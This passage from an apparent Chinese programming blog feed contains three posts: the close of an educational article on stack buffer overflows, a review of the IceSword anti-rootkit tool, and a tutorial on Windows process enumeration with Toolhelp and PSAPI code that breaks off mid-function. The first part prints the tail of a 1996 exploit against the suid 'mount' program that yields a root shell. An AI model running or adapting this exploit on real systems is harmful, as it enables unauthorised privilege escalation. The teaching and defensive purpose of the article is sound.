BUFFER_SIZE-strlen(execshell)); <br>ptr += BUFFER_SIZE-strlen(execshell); <br>/* stick asm code into the buffer */ <br>for(i=0;i &lt; strlen(execshell);i++) <br>*(ptr++) = execshell<em> ; <br>addr_ptr = (long *)ptr; <br>for(i=0;i &lt; (8/4);i++) <br>*(addr_ptr++) = get_esp() + ofs; <br>ptr = (char *)addr_ptr; <br>*ptr = 0; <br>(void)alarm((u_int)0); <br>printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); <br>execl(PATH_MOUNT, "mount", buff, NULL); <br>} <br><br></em> 程
序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP，后面部分放shell代码。
最后部分是希望程序返回的地址，由栈地址加偏移得到。当以buff为参数调用mount时，将造成mount程序的堆栈溢出，其缓冲区被buff覆盖，而
返回地址将指向NOP指令。 <br><br>由于mount程序的属主是root且有suid位，普通用户运行上面程序的结果将获得一个具有root权限的shell。 <br><br><br>五、缓冲区溢出的保护方法 <br><br>目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响： <br><br>1、强制写正确的代码的方法 <br>编
写正确的代码是一件非常有意义但耗时的工作，特别像编写C语言那种具有容易出错倾向的程序（如：字符串的零结尾），这种风格是由于追求性能而忽视正确性的
传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序，具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编
写安全正确的程序。虽然这些工具帮助程序员开发更安全的程序，但是由于C语言的特点，这些工具不可能找出所有的缓冲区溢出漏洞。所以，侦错技术只能用来减
少缓冲区溢出的可能，并不能完全地消除它的存在。除非程序员能保证他的程序万无一失，否则还是要用到以下部分的内容来保证程序的可靠性能。 <br><br>2、通过操作系统使得缓冲区不可执行，从而阻止攻击者殖入攻击代码 <br>这种方法有效地阻止了很多缓冲区溢出的攻击，但是攻击者并不一定要殖入攻击代码来实现缓冲区溢出的攻击，所以这种方法还是存在很多弱点的。 <br><br>3、利用编译器的边界检查来实现缓冲区的保护 <br>这个方法使得缓冲区溢出不可能出现，从而完全消除了缓冲区溢出的威胁，但是相对而言代价比较大。 <br><br>4、在程序指针失效前进行完整性检查 <br>这样虽然这种方法不能使得所有的缓冲区溢出失效，但它的确确阻止了绝大多数的缓冲区溢出攻击，而能够逃脱这种方法保护的缓冲区溢出也很难实现。 <br><br>最
普通的缓冲区溢出形式是攻击活动纪录然后在堆栈中殖入代码。这种类型的攻击在1996年中有很多纪录。而非执行堆栈和堆栈保护的方法都可以有效防卫这种攻
击。非执行堆栈可以防卫所有把代码殖入堆栈的攻击方法，堆栈保护可以防卫所有改变活动纪录的方法。这两种方法相互兼容，可以同时防卫多种可能的攻击。 <br>剩下的攻击基本上可以用指针保护的方法来防卫，但是在某些特殊的场合需要用手工来实现指针保护。全自动的指针保护需要对每个变量加入附加字节，这样使得指针边界检查在某些情况下具有优势。 <br><br>最为有趣的是，缓冲区溢出漏洞--Morris蠕虫使用了现今所有方法都无法有效防卫的方法，但是由于过于复杂的缘故却很少有人用到。 <br><br>在本文中，我们详细描述和分析了缓冲区溢出的原理，并简单介绍了几种防卫方法。由于这种攻击是目前常见的攻击手段，所以进行这个方面的研究工作是有意义和成效的。 <br><br><br>参考文献 <br>[1] 网络入侵检测分析员手册. Stephen Northcutt著.余青霓等译.人民邮电出版社,2000.3 <br>[2] C语言疑难问题解析. 严桂兰,刘甲耀编著.华东华工学院出版社,1993,1. <br>[3] 网络最高安全技术指南. 王锐等译.机械工业出版社,1998,5.
<br> </p>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28549.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-22 03:17 <a href="http://www.cppblog.com/mydriverc/articles/28549.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>冰刃——最霸道的进程管理系统</title><link>http://www.cppblog.com/mydriverc/articles/28542.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 18:08:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28542.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28542.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28542.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28542.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28542.html</trackback:ping><description><![CDATA[<div class="cnt">
<p style="text-indent: 2em;">IceSword，也称为冰刀或者冰刃，有些地址简称IS，是USTC的PJF出品的一款系统诊断、清除利器。 </p>
<p style="text-indent: 2em;">清除流氓软件工具无数，为什么称之为第一利器呢，有如下的理由： </p>
<p style="text-indent: 2em;">1）你是不是经常有文件删不掉？如CNNIC或者3721的文件？ </p>
<p style="text-indent: 2em;">2）是不是经常有注册表不让你修改？如CNNIC的注册表是它自动保护起来的 </p>
<p style="text-indent: 2em;">3）是不是经常有进程杀不掉，提示&#8220;无法完成&#8221;？ </p>
<p style="text-indent: 2em;">4）是不是浏览器有N多的插件？ </p>
<p style="text-indent: 2em;">5）是不是有一些程序运行的时候隐藏了进程和端口？ </p>
<p style="text-indent: 2em;">6) 是不是有一些流氓软件的文件在资源管理器下看都看不到？ </p>
<p style="text-indent: 2em;">1、绝大多数所谓的进程工具都是利用Windows的Toolhlp32或psapi再或
ZwQuerySystemInformation系统调用（前二者最终也用到此调用）来编写，随便一个ApiHook就可轻轻松松干掉它们，更不用说一
些内核级后门了；极少数工具利用内核线程调度结构来查询进程，这种方案需要硬编码，不仅不同版本系统不同，打个补丁也可能需要升级程序，并且现在有人也提
出过防止此种查找的方法。而IceSword的进程查找核心态方案是目前独一无二的，并且充分考虑内核后门可能的隐藏手段，目前可以查出所有隐藏进程。
</p>
<p style="text-indent: 2em;">2、绝大多数工具查找进程路径名也是通过Toolhlp32、psapi，前者会调用
RtlDebug***函数向目标注入远线程，后者会用调试api读取目标进程内存，本质上都是对PEB的枚举，通过修改PEB就轻易让这些工具找不到北
了。而IceSword的核心态方案原原本本地将全路径展示，运行时剪切到其他路径也会随之显示。 </p>
<p style="text-indent: 2em;">3、进程dll模块与2的情况也是一样，利用PEB的其他工具会被轻易欺骗，而IceSword不会弄错（有极少数系统不支持，此时仍采用枚举PEB）。 </p>
<p style="text-indent: 2em;">4、
IceSword的进程杀除强大且方便（当然也会有危险）。可轻易将选中的多个任意进程一并杀除。当然，说任意不确切，除去三个：idle进程、
System进程、csrss进程，原因就不详述了。其余进程可轻易杀死，当然有些进程（如winlogon）杀掉后系统就崩溃了。 </p>
<p style="text-indent: 2em;">5、对于端口工具，网上的确有很多，不过网上隐藏端口的方法也很多，那些方法对
IceSword可是完全行不通的。其实本想带个防火墙动态查找，不过不想弄得太臃肿。这里的端口是指windows的IPv4
Tcpip协议栈所属的端口，第三方协议栈或IPv6栈不在此列。 </p>
<p style="text-indent: 2em;">目前一些流氓软件采取的手段无所不用其极：线程注入，进程隐藏，文件隐藏，驱动保护，普通用
户想把文件给删了或者找出进程来，是非常困难的。有的是看到了，删不掉，杀不掉，干着急，实在不行，还需要从另外的作系统去删除文件。比如采取驱动保护的
流氓软件如CNNIC，雅虎助手之类，.sys驱动加载的时候，它过滤了文件和注册表作，直接返回一个true,Windows提示文件删了，但一看，它
还在那里。象一些文件删除工具如unclocker都无效。IceSword是目前所知唯一可以直接删除这类已经加载的驱动和采取注册表保护的工具。象清
除CNNIC这类流氓软件，不需要重启也可以完成了。 </p>
<p style="text-indent: 2em;">IS采取了很多新颖的、内核级的方法和手段，关于它的技术细节不在本文讨论之列，下面主要从使用者角度讲一下它的主要功能： </p>
<p style="text-indent: 2em;"><strong> ■查看进程</strong>  </p>
<p style="text-indent: 2em;">包括运行进程的文件地址、各种隐藏的进程以及优先级。用它也可以轻易杀掉用任务管理器、Procexp等工具杀不掉的进程。还可以查看进程的线程、模块信息，结束线程等。 </p>
<p style="text-indent: 2em;"><strong> ■查看端口</strong>  </p>
<p style="text-indent: 2em;">类似于cport、ActivePort这类工具，显示当前本地打开的端品以及相应的应用程序地址、名字。包括使用了各种手段隐藏端口的工具，在它下面，都一览无余。 </p>
<p style="text-indent: 2em;"><strong> ■内核模块</strong>  加载到系统内和空间的PE模块，一般都是驱动程序*.sys，可以看到各种已经加载的驱动。包括一些隐藏的驱动文件，如IS自身的IsDrv118.sys，这个在资源管理器里是看不见的。 </p>
<p style="text-indent: 2em;"><strong> ■启动组</strong>  </p>
<p style="text-indent: 2em;">Windows启动组里面的相关方式，这个比较容易理解了。不过可惜的是没有提示删除功能，只能查看。 </p>
<p style="text-indent: 2em;"><strong> ■服务</strong>  </p>
<p style="text-indent: 2em;">用于查看系统中的被隐藏的或未隐藏的服务，隐藏的服务以红色显示。提供对服务的作如启动，停止，禁用等。 </p>
<p style="text-indent: 2em;"><strong> ■SPI和BHO</strong>  </p>
<p style="text-indent: 2em;">这两个是目前流氓软件越来越看中的地方。SPI是服务提供接口，即所有Windows的网络
作都是通过这个接口发出和接收数据包的。很多流氓软件把这个.dll替换掉，这样就可以监视所有用户访问网络的包，可以针对性投放一些广告。如果不清楚的
情况下，把这个.dll删掉，会造成网络无法使用，上不了网。LSPFix等工具就是针对这个功能的。BHO就更不用说了，浏览器的辅助插件，用户启动浏
览器的时候，它就可以自动启动，弹出广告窗口什么的。这两项仅提供查看的功能。 </p>
<p style="text-indent: 2em;"><strong> ■SSDT (System Service Descriptor Table)</strong>  </p>
<p style="text-indent: 2em;">系统服务描述表，内核级后门有可能修改这个服务表，以截获你系统的服务函数调用，特别是一些老的rootkit，像上面提到的ntrootkit通过这种hook实现注册表、文件的隐藏。被修改的值以红色显示，当然有些安全程序也会修改，比如regmon。 </p>
<p style="text-indent: 2em;"><strong> ■消息钩子</strong>  </p>
<p style="text-indent: 2em;">若在dll中使用SetWindowsHookEx设置一全局钩子，系统会将其加载入使用user32的进程中，因而它也可被利用为无进程木马的进程注入手段。 </p>
<p style="text-indent: 2em;"><strong> ■线程创建和线程终止监视</strong>  </p>
<p style="text-indent: 2em;">&#8220;监视进线程创建&#8221;将IceSword运行期间的进线程创建调用记录在循环缓冲里，&#8220;监视进
程终止&#8221;记录一个进程被其它进程Terminate的情况。举例说明作用：一个木马或病毒进程运行起来时查看有没有杀毒程序如norton的进程，有则杀
之，若IceSword正在运行，这个作就被记录下来，你可以查到是哪个进程做的事，因而可以发现木马或病毒进程并结束之。再如：一个木马或病毒采用多线
程保护技术，你发现一个异常进程后结束了，一会儿它又起来了，你可用IceSword发现是什么线程又创建了这个进程，把它们一并杀除。中途可能会用到
&#8220;设置&#8221;菜单项：在设置对话框中选中&#8220;禁止进线程创建&#8221;，此时系统不能创建进程或者线程，你安稳的杀除可疑进线程后，再取消禁止就可以了。 </p>
<p style="text-indent: 2em;"><strong> ■注册表Regedit有什么不足？</strong>  </p>
<p style="text-indent: 2em;">说起Regedit的不足就太多了，比如它的名称长度限制，建一个全路径名长大于255字节
的子项看看（编程或用其他工具，比如
regedt32），此项和位于它后面的子键在regedit中显示不出来；再如有意用程序建立的有特殊字符的子键regedit根本打不开。 </p>
<p style="text-indent: 2em;">IceSword中添加注册表编辑并不是为了解决上面的问题，因为已经有了很多很好的工具可以代替Regedit。IceSword中的&#8220;注册表&#8221;项是为了查找被木马后门隐藏的注册项而写的，它不受目前任何注册表隐藏手法的蒙蔽，真正可靠的让你看到注册表实际内容。 </p>
<p style="text-indent: 2em;">如CNNIC添加的HKLM\SYSTEM\CurrentControlSet\Services\dnport这个键值，就是通过它来加载cndport.sys这个驱动文件的。通过Regedit你删除会直接出错，根本无法删除。而用IS就可以轻易干掉。 </p>
<p style="text-indent: 2em;"><strong> ■文件作</strong>  </p>
<p style="text-indent: 2em;">IS的文件作有点类似于资源管理器，虽然作起来没有那么方便，但是它的独到功能在于具备反隐
藏、反保护的功能。还有对安全的副作用是本来
system32\config\SAM等文件是不能拷贝也不能打开的，但IceSword是可以直接拷贝的。类似于已经加载的驱动，如CNNIC的
cdnport.sys这个文件，目前只有IS可以直接把它删除，其它无论什么方式，都无法破除驱动自身的保护。 </p>
<p style="text-indent: 2em;">即使对大多数有用的unlocker，CopyLock、KillBox都是无效的。利用
Windows的系统还没有完全加载的删除机制，通过在
HKLM\SYSTEM\CurrentControlSet\Control\Session
Manager下增加PendingFileRenameOperations，这个是所有删除顽固文件工具的最后一招，但它也被驱动保护变得无效了。以
前的情况就是需要重启启动到另外一个作系统下删除。 </p>
<p style="text-indent: 2em;">----那帮做流氓软件的可真是手段无所不用其及。 </p>
<p style="text-indent: 2em;">IceSword内部功能是十分强大的。可能您也用过很多类似功能的软件，比如一些进程工
具、端口工具，但是现在的系统级后门功能越来越强，一般都可轻而易举地隐藏进程、端口、注册表、文件信息，一般的工具根本无法发现这些&#8220;幕后黑手&#8221;。
IceSword使用大量新颖的内核技术，使得这些后门躲无所躲. </p>
<p style="text-indent: 2em;">IceSword大量采用新颖技术，有别于其他普通进程工具，比如IceSword就可以结
束除Idle进程、System进程、csrss进程这三个进程外的所有进程，就这一点，其他同类软件就是做不到的。当然有些进程也不是随便可以结束的，
如系统的winlogon.exe进程，一旦杀掉后系统就崩溃了，这些也需要注意。 </p>
</div>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28542.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-22 02:08 <a href="http://www.cppblog.com/mydriverc/articles/28542.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>纵谈进程枚举</title><link>http://www.cppblog.com/mydriverc/articles/28541.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 18:00:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28541.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28541.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28541.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28541.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28541.html</trackback:ping><description><![CDATA[<p>转自：<a href="http://www.blog.edu.cn/user2/33587/archives/2005/254906.shtml">http://www.blog.edu.cn/user2/33587/archives/2005/254906.shtml</a></p>
<p>代码下载：<a href="http://www.vchelp.net/ASP/ibr_upload/1143.zip">说明 ProcessSpy.zip</a><br><br>当程序出现异常而失去响应，我们通常的做法是打开Windows任务管理器强行将其&#8220;杀死&#8221;。Windows任务管理器是个好东西，它能显示当前系统中运行的所有进程，以及它们的实时性能参数。但是作为程序员，你知道这些功能是怎么实现的吗？<br><br>&#8220;这
有什么难的？！&#8221;你可能会说，&#8220;不就是调用那几个进程枚举函数嘛！&#8221;是啊，单纯实现Windows任务管理器类似的功能是不难。但是，你先别急，关于进程
枚举，可能你只知其一，不知其二；更何况，我们这里还有其三、其四。除此之外，我们这里还要增强功能，显示与各个进程相关联的模块（即DLL，动态链接
库）信息。<br><br>进程与DLL的基础知识<br>大家知道，Windows 98/2000/XP都是多任务操作系统。所谓多任务，就是系统中可以同时运行多个进程。而所谓进程，就是应用程序的运行实例。通俗地讲，进程就是一个运行起来的.EXE程序。<br><br>系统中的进程都用一个DWORD类型的数据来唯一标识，我们称之为PID。即使同一个应用程序运行多个实例，它们的PID也是不一样的。另外，进程拥有自己私有的虚拟地址空间，进程与进程之间不会相互干扰；每个进程都至少包含一条线程。<br><br>那么，DLL与进程又有什么关系呢？大家知道，自Windows诞生之日起，Windows操作系统就使用DLL来支持公共函数调用。DLL中实现的函数代码不出现在.EXE文件中，但可以被各个进程所使用。<br><br>使用DLL的好处包括：<br>1)&nbsp;&nbsp;&nbsp;&nbsp;可以显著地减小每个组件的大小（特别是对于一些大型软件系统）。<br>2)&nbsp;&nbsp;&nbsp;&nbsp;使升级更为简单。如果我们想要使用新版本的函数，改变DLL中的函数后，只需重新编译DLL项目，然后再连接使用该函数的各个应用程序；而应用程序本身不需要重新编译。<br>3)&nbsp;&nbsp;&nbsp;&nbsp;便于功能模块化，乃至开发任务的团队协作。<br><br>一般来说，一个进程总是调用这个或那个DLL中的函数。进程与DLL是一种依赖关系。在我们的演示程序中，我们不仅要做进程枚举，我们还要来揭示进程与DLL的这种依赖关系。演示程序的用户界面如下：<br><img style="width: 500px; cursor: pointer;" onclick="javascript:window.open(this.src);" alt="" onload="javascript:if(this.width>500){this.resized=true;this.style.width=500;}" resized="true" src="http://www.vchelp.net/ASP/ibr_upload/1144.jpg" src_cetemp="http://www.vchelp.net/ASP/ibr_upload/1144.jpg"><br>图1 演示程序之用户界面 <br><br>好了，言归正转，我们直奔主题。接下去，我们就来逐一介绍各种进程枚举方法。<br><br>方法一：使用工具库（Tool Help Library）函数<br>这是一种历史最悠久、也是最基本的方法（从Windows 95开始就支持这种方法）。这些API函数中，最重要的当属CreateToolhelp32Snapshot，它的函数原型如下：<br>HANDLE WINAPI CreateToolhelp32Snapshot(<br>&nbsp;&nbsp;DWORD dwFlags,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;DWORD th32ProcessID&nbsp;&nbsp;<br>);<br><br>这
个函数的功能就是给系统拍&#8220;快照&#8221;。拍照的对象由参数dwFlags决定，比如dwFlags值为TH32CS_SNAPPROCESS表示对象为系统中
的所有进程，值为TH32CS_SNAPMODULE表示对象为由th32ProcessID参数指定的进程调用的所有模块（也就是DLL）。<br><br>当
调用CreateToolhelp32Snapshot函数给指定的对象拍完快照之后，我们就可以使用Process32First、
Process32Next、Module32First、Module32Next等函数进行&#8220;取片&#8221;工作了，就是遍历刚才拍下来的所有进程、进程调用
的所有模块。<br><br>我们的演示程序提供了完整的代码实现：<br>BOOL CToolHelpSpy::BuildProcessList(void)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// 给系统中所有进程拍快照<br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); <br>&nbsp;&nbsp;&nbsp;&nbsp;if (hProcessSnap == INVALID_HANDLE_VALUE) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE; <br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;PROCESSENTRY32 pe32 = {0}; <br>&nbsp;&nbsp;&nbsp;&nbsp;pe32.dwSize = sizeof(PROCESSENTRY32); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;// 遍历拍下来的所有进程 <br>&nbsp;&nbsp;&nbsp;&nbsp;if (Process32First(hProcessSnap, &amp;pe32)) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (pe32.th32ProcessID &amp;&amp; strcmp(pe32.szExeFile, "System"))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 保存进程的名字、PID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CProcessItem&nbsp;&nbsp;processItem;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessName(pe32.szExeFile);&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessId(pe32.th32ProcessID);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 加入列表保存<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mProcList.AddTail(processItem);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} while (Process32Next(hProcessSnap, &amp;pe32)); <br>&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hProcessSnap); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br>}<br><br>BOOL CToolHelpSpy::BuildModuleList(CProcessItem&amp; inProcess)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// 给指定的进程调用的所有模块拍快照<br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inProcess.GetProcessId());<br>&nbsp;&nbsp;&nbsp;&nbsp;if (hModuleSnap == INVALID_HANDLE_VALUE) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE; <br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;MODULEENTRY32 me32 = {0}; <br>&nbsp;&nbsp;&nbsp;&nbsp;me32.dwSize = sizeof(MODULEENTRY32);<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;inProcess.CleanupModuleList();<br>&nbsp;&nbsp;&nbsp;&nbsp;// 遍历所有模块<br>&nbsp;&nbsp;&nbsp;&nbsp;if (Module32First(hModuleSnap, &amp;me32)) <br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 保存模块文件全路径<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inProcess.AddModuleItem(me32.szExePath);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} while (Module32Next(hModuleSnap, &amp;me32));<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hModuleSnap); <br><br>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br>}<br><br>注：工具库函数在Kernel32.dll中实现。程序开发中，我们需要包含头文件Tlhelp32.h，连接库文件Kernel32.lib。<br><br>注：
我们这里使用自定义类CProcessItem来描述一个进程，它保存了进程的名字、PID等信息，另外还维持一个该进程调用的所有模块的列表。相应地，
我们也使用一个自定义类CModuleItem来描述模块，它保存模块文件的全路径、版本号、文件大小、说明信息、所属产品名等。（下同）<br><br>方法二：使用PSAPI （Process Status API）函数<br>这是一种Windows NT/2000下的方法。核心是使用EnumProcesses函数。它的原型如下：<br>BOOL EnumProcesses(<br>&nbsp;&nbsp;DWORD *lpidProcess,&nbsp;&nbsp;&nbsp;&nbsp;// 用于保存所有进程的PID的数组<br>&nbsp;&nbsp;DWORD cb,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 上述数组的大小<br>&nbsp;&nbsp;DWORD *cbNeeded&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// PID数组中实际返回的（有效）字节数<br>);<br><br>当
获得系统中所有进程的PID后，我们就可以使用OpenProcess函数打开指定的进程，再调用GetModuleBaseName获得该进程的名字，
调用EnumProcessModules枚举该进程调用的所有模块，调用GetModuleFileNameEx获得模块文件的全路径。<br><br>我们的演示程序提供了完整的代码实现：<br>BOOL CPSApiSpy::BuildProcessList(void)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// 枚举获得系统中的所有进程的PID<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;processes[1024], needed;<br>&nbsp;&nbsp;&nbsp;&nbsp;if (!EnumProcesses(processes, sizeof(processes), &amp;needed))<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;szName[MAX_PATH]&nbsp;&nbsp; = "";<br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD actualProcessCount = needed / sizeof(DWORD);<br>&nbsp;&nbsp;&nbsp;&nbsp;for (DWORD i = 0; i &lt; actualProcessCount; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 保存进程的PID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CProcessItem&nbsp;&nbsp;processItem;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processItem.SetProcessId(processes[i]);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 打开当前进程以获得进程操作句柄<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FALSE, processes[i]);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (hProcess)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HMODULE hModule;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp; needed;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 枚举当前进程调用的所有模块<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (EnumProcessModules(hProcess, &amp;hModule, sizeof(hModule), &amp;needed))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 获得并保存进程的名字<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GetModuleBaseName(hProcess, hModule, szName, 